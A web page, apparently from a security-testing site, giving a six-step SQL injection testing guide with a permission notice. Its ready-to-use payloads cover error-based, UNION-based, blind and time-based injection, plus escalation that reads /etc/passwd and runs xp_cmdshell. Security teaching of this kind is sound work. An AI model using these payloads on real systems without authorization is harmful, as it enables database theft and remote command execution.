Skip to content
Payload Playground
HomeGuidesSQL Injection Testing Guide

SQL Injection Testing Guide

Step-by-step guide to testing for SQL injection vulnerabilities including error-based, blind, time-based, and UNION-based techniques.

Intermediate
6 steps17 payload examples~60 min
Authorized testing only. Only use these techniques on systems you have explicit permission to test.
1

Identify injection points

Locate all parameters that interact with a database: URL parameters, POST body fields, cookies, and HTTP headers. Pay attention to search forms, login pages, and any feature that retrieves or filters data.

Example payloads
id=1'
search=test'
sort=name" OR 1=1--
2

Test for error-based SQL injection

Submit single quotes, double quotes, and special SQL characters to trigger database errors. Verbose error messages reveal the database type (MySQL, PostgreSQL, MSSQL, Oracle) and query structure.

Example payloads
' OR '1'='1
1' AND 1=CONVERT(int,(SELECT @@version))--
' AND extractvalue(1,concat(0x7e,(SELECT version())))--
3

Test for UNION-based injection

Determine the number of columns with ORDER BY or UNION SELECT NULL. Then extract data by replacing NULL values with column names from information_schema tables.

Example payloads
' ORDER BY 1--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT username,password,NULL FROM users--
4

Test for blind SQL injection

When no visible output exists, use boolean-based blind injection. Craft conditions that cause different responses depending on whether the condition is true or false.

Example payloads
' AND 1=1-- (true condition)
' AND 1=2-- (false condition)
' AND SUBSTRING(username,1,1)='a'--
5

Test for time-based blind injection

If boolean differences are not observable, use time delays. A delayed response confirms the injection point is vulnerable, then extract data one character at a time.

Example payloads
'; WAITFOR DELAY '0:0:5'--
' AND IF(1=1,SLEEP(5),0)--
' AND pg_sleep(5)--
6

Escalate and document

Attempt to read sensitive data, escalate privileges, or achieve remote code execution (e.g., xp_cmdshell on MSSQL, INTO OUTFILE on MySQL). Document the injection type, affected parameter, database type, and data exposed.

Example payloads
' UNION SELECT load_file('/etc/passwd'),NULL--
'; EXEC xp_cmdshell('whoami')--

Level up your security testing

Send feedback

Report an issue or suggest an improvement.

0/2000

Your report includes this page (/guides/how-to-test-for-sql-injection) and your browser. If you’re signed in, we include your account ID and plan so support can prioritize Pro requests. Please leave out secrets and client data.